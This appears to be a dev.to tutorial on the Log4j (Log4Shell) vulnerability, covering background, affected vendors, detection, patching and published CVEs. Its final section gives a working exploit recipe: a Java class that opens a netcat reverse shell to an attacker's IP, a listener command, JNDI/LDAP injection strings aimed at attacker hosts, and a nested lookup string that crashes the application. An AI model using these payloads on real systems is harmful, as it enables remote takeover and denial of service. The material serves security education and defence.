&lt;p&gt;Log4J is a Java-based open source component maintained by the Apache Foundation that is commonly incorporated into Java applications. It allows to record traceability of operations at a functional and operational level in a multitude of services, even from a security point of view. So basically it is a library used for logging(maintaining a record of events occurred in a application) in applications.&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fer0ogd8yux7aj713z5ev.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fer0ogd8yux7aj713z5ev.png" alt="View of a Log file"&gt;&lt;/a&gt;this image shows how a log file look like.&lt;/p&gt;
&lt;h2&gt;
  
  
  What is the Vulnerability in Log4j?
&lt;/h2&gt;

&lt;p&gt;Developers were expecting the Log4j library to record application/server values, including input strings, with the expectation that those strings were plaintext and not able to invoke APIs but in log4j if we gave input parameter like &lt;code&gt;{jndi[:]ldap[:]//....&lt;/code&gt; we were able to invoke JNDI API. JNDI is the Java Naming and Directory Interface , It is a library/service allowing for runtime configuration. So, this JNDI API leads in leakage of sensitive information and thereby facilitate other attacks which finally results in getting a Reverse Shell.&lt;/p&gt;
&lt;h2&gt;
  
  
  Who are Affected by Log4J?
&lt;/h2&gt;

&lt;p&gt;Log4J can be found in variety of places. Its was widely used for logging in programmes, Application, Games, Application Development tool and hence hackers have a wide range of targets to attack.&lt;/p&gt;

&lt;p&gt;Average time to repair a software is 1-4 Weeks . As Log4J was widely used repairing it would takes years and hence this vulnerability is estimated to be exploited for years.&lt;/p&gt;

&lt;p&gt;From Open Source to Commercial Solutions all are affected by by this Vulnerability. Studies carried out by Google indicate that 8% of the packages in the central Maven repository have been affected by this vulnerability. you can check out this link for more info. &lt;a href="https://security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html" rel="noopener noreferrer"&gt;https://security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Affected Companies(List Keeps on increasing)
&lt;/h4&gt;

&lt;p&gt;Apple, Intel, Amazon, Oracle, VMWare, IBM, Cisco, Redhat, Atlassian, BMC, Fortinet, F5, McAfee, Twitter, Baidu, Tesla, Palo Alto, SonicWALL, SolarWinds&lt;/p&gt;

&lt;p&gt;Many opensource solution are also affected here is the list of applications who used java in their infrastructure like Apache Struts, Apache Struts2,Apache Tomcat, Apache Spark, Apache Solr, Apache Kafka, ElasticSearch, flume, Log stash, IBM Qradar SIEM, NetApp, Pulse Secure, etc.&lt;/p&gt;

&lt;p&gt;Checkout this link for knowing Log4j impact on manufacturers&lt;br&gt;
&lt;a href="https://github.com/YfryTchsGD/Log4jAttackSurface" rel="noopener noreferrer"&gt;https://github.com/YfryTchsGD/Log4jAttackSurface&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  What are Hackers Doing by Exploiting this Vulnerability
&lt;/h2&gt;

&lt;p&gt;Hackers are running ransomware campaign, Deploying botnets and Mine XMR coins on Compromised Systems. None the less if they get access to data they will steal it.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why Companies are not able to patch Log4J Completely?
&lt;/h2&gt;

&lt;p&gt;Most of the companies have patched their code base for Log4j but the problem that most of them are facing is that all the vendors of company need to patch log4j package in their product which is out of their control and they cannot do anything in that.&lt;/p&gt;
&lt;h2&gt;
  
  
  Checking if the site is Vulnerable to log4j RCE
&lt;/h2&gt;

&lt;p&gt;To check if the site is vulnerable to Log4J RCE first find areas where we can input strings (like search box, etc.).Then Visit &lt;a href="https://log4shell.huntress.com/" rel="noopener noreferrer"&gt;https://log4shell.huntress.com/&lt;/a&gt;&lt;br&gt;
and copy this text &lt;code&gt;${jndi:ldap://log4shell.huntress.com:1389/&amp;lt;Your unique identifier&amp;gt;}&lt;/code&gt; then paste it in the input area now go back to the page from where you copied and you will see a result keyword hyperlinked click on it and see if there is a entry of your site, if the entry is there then your site is vulnerable to log4j RCE.&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmw9wwg0mwh7a1vcqch74.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmw9wwg0mwh7a1vcqch74.png" alt="log4shell"&gt;&lt;/a&gt;Now lets understand what is &lt;code&gt;log4shell.huntress.com&lt;/code&gt; doing and how is it checking our site for vulnerability. For this we have to understand how our input is working&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;{jndi:....&lt;/code&gt; ------&amp;gt; this invokes JNDI API and access external resources&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;:idap:....&lt;/code&gt; -----&amp;gt; this shows that target will reach out to an attacker controlled location over idap protocol&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;://log4shell.huntress.com:1389/&lt;/code&gt;-----&amp;gt; This is the address of attackers controlled host basically we are reaching out to this site.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All these parts makes us understand that we are establishing a connection between site and a attacker controlled host.&lt;/p&gt;

&lt;p&gt;Alternately you can use &lt;a href="https://github.com/cisagov/log4j-scanner" rel="noopener noreferrer"&gt;cisagov/log4j-scanner&lt;/a&gt; to scan for log4j Vulnerability on your site.&lt;/p&gt;
&lt;h2&gt;
  
  
  Fixing The Vulnerability
&lt;/h2&gt;

&lt;p&gt;To fix this Vulnerability you should update your java and log4j to latest Version(i.e. Log4J V2.17 or above) this doesn't guarantee that Vulnerability is fully patched but reduces some what risk. Also check out snyk remediation cheat sheet &lt;a href="https://snyk.io/blog/log4shell-remediation-cheat-sheet/" rel="noopener noreferrer"&gt;https://snyk.io/blog/log4shell-remediation-cheat-sheet/&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Vulnerabilities Published on Log4J
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228" rel="noopener noreferrer"&gt;CVE-2021-44228&lt;/a&gt; Version Affected: Apache Log4j2 2.0-beta9 a 2.12.1 y 2.13.0 a 2.15.0&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046" rel="noopener noreferrer"&gt;CVE-2021-45046&lt;/a&gt; Version Affected: 2.0.1 – 2.12.2 (excluded) y 2.13.0 – 2.16.0 (excluded)&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-45105" rel="noopener noreferrer"&gt;CVE-2021-45105&lt;/a&gt; Version Affected:Log4j2 versions 2.0-alpha1 hasta 2.16.0 (included).&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;
  
  
  Exploiting Vulnerability (ONLY FOR CVE-2021-44228 and CVE-2021-45046)
&lt;/h2&gt;

&lt;p&gt;for Exploiting this vulnerability we will be writing an payload and then we will be compiling it and then we will trigger it to get reverse shell.&lt;/p&gt;
&lt;h4&gt;
  
  
  Follow Steps:
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; Here we are considering that our targeted server's OS is linux and netcat is already installed in it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash &amp;lt;YOUR.ATTACKER.IP.ADDRESS&amp;gt; &amp;lt;Listening port&amp;gt;");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Write exploit in Exploit.java file using above given code&lt;/li&gt;
&lt;li&gt;Compile the java file&lt;code&gt;javac Exploit.java -source 8 -target 8&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Host a temporary HTTP server for exploit&lt;/li&gt;
&lt;li&gt;set a net cat listener to listen to exploit.&lt;code&gt;nc -lnvp &amp;lt;Attacker port number&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;for CVE-2021-44228 put&lt;code&gt;{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:ATTACKER PORT/Exploit\}&lt;/code&gt;as input&lt;/li&gt;
&lt;li&gt;for CVE-2021-45046 put &lt;code&gt;{jndi:ldap://127.0.0.1#attacker.com/exploit}&lt;/code&gt; as input
1.you got a reverse shell.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For CVE-2021-45105 we cannot get a reverse shell but we can use &lt;code&gt;${${::-${::-$${::-j}}}}&lt;/code&gt; this parameter to  to generate a StackOverflow exception that may lead to the termination of the vulnerable application process, giving rise to a denial of service (DoS) vulnerability.&lt;/p&gt;

&lt;p&gt;Use this link to get technical insight on the Vulnerability&lt;br&gt;
&lt;a href="https://businessinsights.bitdefender.com/technical-advisory-zero-day-critical-vulnerability-in-log4j2-exploited-in-the-wild" rel="noopener noreferrer"&gt;https://businessinsights.bitdefender.com/technical-advisory-zero-day-critical-vulnerability-in-log4j2-exploited-in-the-wild&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>java</category>
      <category>opensource</category>
    </item>
  </channel>
</rss>
